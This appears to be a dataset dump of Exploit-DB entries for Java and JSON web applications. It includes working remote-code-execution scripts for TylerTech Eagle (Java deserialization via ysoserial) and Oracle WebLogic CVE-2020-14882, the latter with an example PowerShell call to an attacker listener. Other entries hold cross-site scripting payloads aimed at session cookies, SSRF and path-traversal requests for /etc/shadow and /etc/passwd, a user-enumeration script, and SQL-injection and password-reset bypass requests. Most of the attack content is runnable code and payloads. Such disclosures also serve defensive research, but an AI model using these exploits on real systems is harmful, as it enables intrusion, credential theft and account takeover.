deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48188
Description: Sysaid 20.1.11 b26 - Remote Command Execution
Type: webapps
Platform: java
Date: 2020-03-10
Author: Ahmed Sherif

Exploit:
# Exploit Title: Sysaid 20.1.11 b26 - Remote Command Execution
# Google Dork: intext:"Help Desk Software by SysAid <http://www.sysaid.com/>"
# Date: 2020-03-09
# Exploit Author: Ahmed Sherif
# Vendor Homepage: https://www.sysaid.com/free-help-desk-software
# Software Link: [https://www.sysaid.com/free-help-desk-software
# Version:  Sysaid v20.1.11 b26
# Tested on: Windows Server 2016
# CVE : None

GhostCat Attack

The default
installation of Sysaid is enabling the exposure of AJP13 protocol which is used
by tomcat instance, this vulnerability has been released recently on
different blogposts
<https://www.zdnet.com/article/ghostcat-bug-impacts-all-apache-tomcat-versions-released-in-the-last-13-years/>.


*Proof-of-Concept*

[image: image.png]

The
attacker would be able to exploit the vulnerability and read the Web.XML of
Sysaid.
Unauthenticated File Upload

It was
found on the Sysaid application that an attacker would be able to upload files
without authenticated by directly access the below link:

http://REDACTED:8080/UploadIcon.jsp?uploadChatFile=true&parent=



In the above screenshot, it shows that an attacker can execute commands
in the system without any prior authentication to the system.
Exploit-DB #48462
Description: TylerTech Eagle 2018.3.11 - Remote Code Execution
Type: webapps
Platform: java
Date: 2020-05-12
Author: Anthony Cole

Exploit:
# Exploit Title: TylerTech Eagle 2018.3.11 - Remote Code Execution
# Date: 2019-10-08
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.tylertech.com/products/eagle
# Version: 2018.3.11
# Tested on: Windows 2012
# CVE: CVE-2019-16112
# Category: webapps
#   
# Eagle is a software written in Java by TylerTech.  Version 2018.3.11 allows an unauthenticated attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# /recorder/ServiceManager in TylerTech Eagle 2018.3.11 is vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the tomcat service that is running the application.
#  


import sys, requests, zlib, argparse, urlparse, subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def run_command(command):
	p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
	output = b''
	for line in iter(p.stdout.readline, b''):
		output += line
		
	return output

def isurl(urlstr):
	try:
		urlparse.urlparse(urlstr)
		return urlstr
	except:
		raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='Java Deserialization Exlpoit')
	parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
	parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
	parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.jar")
	parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
	args = parser.parse_args()
	
	url_parts = urlparse.urlparse(args.url)
	target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
	
	proxies = {}
	if(args.proxy != None):
		proxy_parts = urlparse.urlparse(args.proxy)
		proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
	
	cmd = args.cmd
	
	serial_payload = run_command('java -jar %s CommonsCollections6 "%s"' % (args.ysoserial, args.cmd))
	
	url = target_url + "/recorder/ServiceManager?service=tyler.empire.settings.SettingManager"
	headers = {'Content-Type': 'application/octet-stream'}
	payload = zlib.compress(serial_payload)
	response = requests.post(url, data=payload, proxies=proxies, verify=False)
Exploit-DB #21946
Description: vBulletin 2.0/2.2.x - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2002-10-18
Author: Sp.IC

Exploit:
source: https://www.securityfocus.com/bid/5997/info

vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://<victim>/usercp.php?s=[Session ID]"><Script>alert(document.cookie);</Script>
Exploit-DB #32459
Description: VeriSign Kontiki Delivery Management System 5.0 - 'action' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2008-10-05
Author: Mazin Faour

Exploit:
source: https://www.securityfocus.com/bid/31580/info

Kontiki Delivery Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kontiki Delivery Management System 5.0 and prior versions are vulnerable.

http://www.example.com/zodiac/servlet/zodiac?action=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #23268
Description: Vivisimo Clustering Engine - Search Script Cross-Site Scripting
Type: webapps
Platform: java
Date: 2003-10-21
Author: ComSec

Exploit:
source: https://www.securityfocus.com/bid/8862/info

Vivisimo Clustering Engine reported prone to cross-site scripting vulnerability. The problem occurs due to insufficient sanitization of parameters passed to the search script. As a result, an attacker may be capable of constructing a link designed to execute arbitrary script code within the browser of a user who follows it.

http://www.example.com/search?query=<script>alert(document.domain)</script>
Exploit-DB #45158
Description: Wavemaker Studio 6.6 - Server-Side Request Forgery
Type: webapps
Platform: java
Date: 2018-08-06
Author: Gionathan Reale

Exploit:
# Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF).
# Exploit Author: Gionathan "John" Reale
# Google Dork: N/A
# Date: 2018-08-01
# Vendor Homepage: http://www.wavemaker.com/
# Software Link: https://github.com/cloudjee/wavemaker/blob/master/wavemaker/wavemaker-studio/
# Affected Version: 6.6
# Tested on: Parrot OS
# CVE : 2019-8982
 
# Description
# Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an 
# attacker to pass dangerous content to a victim via a phishing link. The vulnerability
# can also be exploited to access sensitive data or to use the server hosting Wavemaker
# as a form of HTTP proxy among other things.
 
# Proof Of Concept
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=http://attackersite.com/
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=file///etc/shadow

# Vulnerable Code
# /wavemaker-studio/services/studioService/src/com/wavemaker/studio/StudioService.java

# Line 419-430
@ExposeToClient
public String getContent(String inUrl) throws IOException {
	try {
			String str = getRemoteContent(inUrl);
            str = str.replace("<head>", "<head><base href='" + inUrl
                + "' /><base target='_blank' /><script>top.studio.startPageIFrameLoaded();</script>");
            return str;
        } catch (Exception e) {
            return "";
        }
}
Exploit-DB #48971
Description: WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauthenticated RCE via GET request
Type: webapps
Platform: java
Date: 2020-10-29
Author: Mohammed Althibyani

Exploit:
#!/usr/bin/python3

# Exploit Title: Oracle WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0  - Unauthenticated RCE via GET request
# Exploit Author: Nguyen Jang
# CVE: CVE-2020-14882
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html

# More Info: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

import requests
import sys

from urllib3.exceptions import InsecureRequestWarning

if len(sys.argv) != 3:
    print("[+] WebLogic Unauthenticated RCE via GET request")
    print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
    print("[+] Example1 : python3 exploit.py http(s)://target:7001 \"nslookup your_Domain\"")
    print("[+] Example2 : python3 exploit.py http(s)://target:7001 \"powershell.exe -c Invoke-WebRequest -Uri http://your_listener\"")
    exit()

target = sys.argv[1]
command = sys.argv[2]

request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}

print("[+] Sending GET Request ....")

GET_Request = request.get(target + "/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('" + command + "');\");", verify=False, headers=headers)

print("[+] Done !!")
Exploit-DB #21562
Description: Wolfram Research webMathematica 4.0 - File Disclosure
Type: webapps
Platform: java
Date: 2002-06-17
Author: Andrew Badr

Exploit:
source: https://www.securityfocus.com/bid/5035/info

Wolfram Research's webMathematica is a Java based product which allows the inclusion of Mathematica content in a web environment. It includes CGI programs which generate image content based on user supplied input.

A file disclosure vulnerability has been reported with the MSP CGI program. A file name parameter supplied by the user is not properly validated. The inclusion of "../" character sequences allows the attacker to escape the web root, and view arbitrary system files.

http://www.domain.com/webMathematica/MSP?MSPStoreID=../../../../../etc/passwd&MSPStoreType=image/gif
Exploit-DB #39334
Description: Yealink VoIP Phones - '/servlet' HTTP Response Splitting
Type: webapps
Platform: java
Date: 2014-06-12
Author: Jesus Oquendo

Exploit:
source: https://www.securityfocus.com/bid/68022/info

Yealink VoIP Phones are prone to an HTTP-response-splitting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Yealink VoIP Phones firmware 28.72.0.2 and hardware 28.2.0.128.0.0.0 are vulnerable; other versions may also be affected. 

GET /servlet?linepage=1&model=%0d%0a[Header]&p=dsskey&q=load
Exploit-DB #47781
Description: Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-12-17
Author: MTK

Exploit:
# Exploit Title: Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting
# Date: 2019-12-17
# Exploit Author: MTK
# Vendor Homepage: https://sweethawk.co/zendesk/survey-app
# Software Link: https://www.zendesk.com/apps/support/survey/
# Version: Up to v1.6
# Tested on: Zendesk - Firefox/Windows

# Software description:
# Sweet Hawk Survey app ask customers for a 0-10 score instead of the normal good or bad question. 
# You can get more granular satisfaction data without compromising the response rate. 
# Ask an optional NPS question on the landing page. View reports and drill down into the response 
# detail and go directly to the ticket. Easy to set up, just replace the survey place holder in 
# your trigger or automation. Customize the landing pages for each of your brands.

# Technical Details & Impact:
# Attackers use vulnerable web pages to inject malicious code and have it stored on the web server 
# for later use. The payload is automatically served to users who browse web pages and executed in 
# their context. Thus, the victims do not need to click on a malicious link to run the payload. 
# All they have to do is visit a vulnerable web page.

# POC

1. Open Support ticket in Zendesk and send XSS payload e.g;
<script>alert(1);</script>
2. Generate survey  request to rate the ticket and payload will execute;

# Time line
09-19-2019 - Vulnerability discovered
09-20-2019 - Vendor contacted
12-02-2019 - Detailed report shared and full disclosure time line given with no response
12-17-2019 - Full Disclosure
Exploit-DB #46966
Description: Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-06-04
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via PurchaseRequest.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12543


Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the PurchaseRequest.do serviceRequestId parameter.


Attack vector: domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=g24aj%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3Eqdaxl


PoC: https://drive.google.com/file/d/1pHeq446oNonw5ZJ53idKhP8gC-9CZtQW/view
Exploit-DB #46965
Description: Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-06-04
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via SearchN.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12542


An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do userConfigID parameter.


Attack vector: domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=21111111ucgol"><img src%3da onerror%3dalert('XSS')>qzmm3u7id8z&selectName=Site

PoC: https://drive.google.com/file/d/1aJN6GudSd7WWckXWxA5nelM48Xib9eS9/view
Exploit-DB #46963
Description: Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-06-04
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via SiteLookup.do
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12538


Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SiteLookup.do qc_siteID parameter


Attack vector: domain/SiteLookup.do?configID=0&SELECTSITE=qc_siteID"/><svg onload=alert('XSS')>&userConfigID=21111111&SELECTEDSITEID=1&SELECTEDSITENAME=

PoC: https://drive.google.com/file/d/1Oo_lC_XCtAiF2Gvx_ZoS8Yqwunc1U_57/view
Exploit-DB #46964
Description: Zoho ManageEngine ServiceDesk Plus 9.3 - 'SolutionSearch.do' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-06-04
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting via SolutionSearch.do 
# Date: 2019-06-04
# Exploit Author: Tarantula Team - VinCSS (a member of Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12541


Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SolutionSearch.do searchText parameter.


Attack vector: domain/SolutionSearch.do?searchText=1'%3balert('XSS')%2f%2f706z8rz68&selectName=Solutions


PoC: https://drive.google.com/file/d/1zXyFpVwAPc0MfcERNmvIdyKLzx0JMA9r/view
Exploit-DB #50027
Description: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration
Type: webapps
Platform: java
Date: 2021-06-17
Author: Ricardo Ruiz

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration 
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
	parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
	parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')	
	parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	url = args.target
	domain = args.domain
	usersfile = args.usersfile
	outputfile = args.outputfile

	s = requests.session()
	s.get(url)
	resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
	incorrect_size = len(resp_incorrect.content)
	print("Incorrect size: %s"%(incorrect_size))

	correct_users = []
	users = open(usersfile).read().splitlines()
	for u in users:
			resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
			valid = (len(resp.content) != incorrect_size)
			if valid:
				correct_users.append(u)
			print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

	print("\nCorrect users\n")
	with open(outputfile, 'w') as f:
		for user in correct_users:
			f.write("%s\n" % user)
			print("- %s"%(user))

	print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
    main()
Exploit-DB #48003
Description: AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)
Type: webapps
Platform: json
Date: 2020-02-05
Author: Ihsan Sencan

Exploit:
# Exploit Title: AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)
# Dork: N/A
# Date: 2020-02-05
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://avideo.com
# Software Link: https://github.com/WWBN/AVideo
# Version: 8.1
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
# 
................
0	
id	92
user	"admin"
name	"Watch Later"
email	"user@localhost"
password	"bc79a173cc20f0897db1c5b004588db9"
created	"2019-05-16 21:42:42"
modified	"2019-05-16 21:42:42"
isAdmin	1
status	"watch_later"
photoURL	"videos/userPhoto/photo1.png"
lastLogin	"2020-02-03 08:11:08"
recoverPass	"0ce70c7b006c78552fee993adeaafadf"
................
#
# Password recovery can be done using recoverPass.
# http://localhost/[PATH]/recoverPass?user=admin&recoverpass=0ce70c7b006c78552fee993adeaafadf
#
Exploit-DB #47997
Description: AVideo Platform 8.1 - Information Disclosure (User Enumeration)
Type: webapps
Platform: json
Date: 2020-02-05
Author: Ihsan Sencan

Exploit:
# Exploit Title: AVideo Platform 8.1 - Information Disclosure (User Enumeration)
# Dork: N/A
# Date: 2020-02-05
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://avideo.com
# Software Link: https://github.com/WWBN/AVideo
# Version: 8.1
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
# 
................
0	
id	92
user	"admin"
name	"Watch Later"
email	"user@localhost"
password	"bc79a173cc20f0897db1c5b004588db9"
created	"2019-05-16 21:42:42"
modified	"2019-05-16 21:42:42"
isAdmin	1
status	"watch_later"
photoURL	"videos/userPhoto/photo1.png"
lastLogin	"2020-02-03 08:11:08"
recoverPass	"0ce70c7b006c78552fee993adeaafadf"
................
# 
# Hash function to be converted ....
# 
function encryptPassword($password, $noSalt = false) {
    global $advancedCustom, $global, $advancedCustomUser;
    if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
        $password .= $global['salt'];
    }

    return md5(hash("whirlpool", sha1($password)));
}
#
Exploit-DB #48858
Description: EasyPMS 1.0.0 - Authentication Bypass
Type: webapps
Platform: json
Date: 2020-10-06
Author: Jok3r

Exploit:
# Exploit Title: EasyPMS 1.0.0 - Authentication Bypass
# Discovery by: Jok3r
# Vendor Homepage: https://www.elektraweb.com/en/
# Software Link: https://github.com/Travelaps/EasyPMS/releases/
# Tested Version: 1.0.0
# Vulnerability Type: Authentication Bypass
# Tested on OS: Windows Server 2012

#Description:

EasyPMS has authentication bypass vulnerability that low privilege user can escalate privilege to HotelOwner admin privilege.

Steps to Reproduce:

1)
Unprivileged user can manipulate sql query within json request format. Admin user code can be obtained using single quote after ID column so 
that where clause is invalid.

First Request:

POST /Select/STDUSER HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/app/record/user-profile;index=$ANG.STDUSERID
Content-Type: text/plain
Content-Length: 689
Origin: https://target
Connection: close



{"Action":"Select","Object":"STDUSER","Select":["ID","USERCODE","PASSWORD","EMAIL","LASTNAME","GSM","PHONE","HOTELID","FIRSTNAME","PINCODE"],"Where":[{"Column":"ID'","Operator":"=","Value":"80403"},{"Column":"HOTELID","Operator":"=","Value":22330}],"Paging":{"Current":1,"ItemsPerPage":3},"LoginToken":"token_value"}



2)
While user is sending password resetting request, can change password of Admin user that is inside HotelOwner privilege class.
Because there is not validation of token and user has write permission on STDUSER table so admin user password can be changed by unprivileged user that obtains ID of admin user
sending first request.



Second Request:

POST / HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/login
Content-Type: text/plain
Content-Length: 128
Origin: https://target
Connection: close


{"Row":{"PASSWORD":"Qw12344.","ID":"80401","HOTELID":22330},"SelectAfterUpdate":["ID"],"Action":"Update","Object":"STDUSER"}






# Timeline:
# 01.10.2020 - issue was discovered 
# 02.10.2020 - notify to vendor
# 02.10.2020 - vendor fixed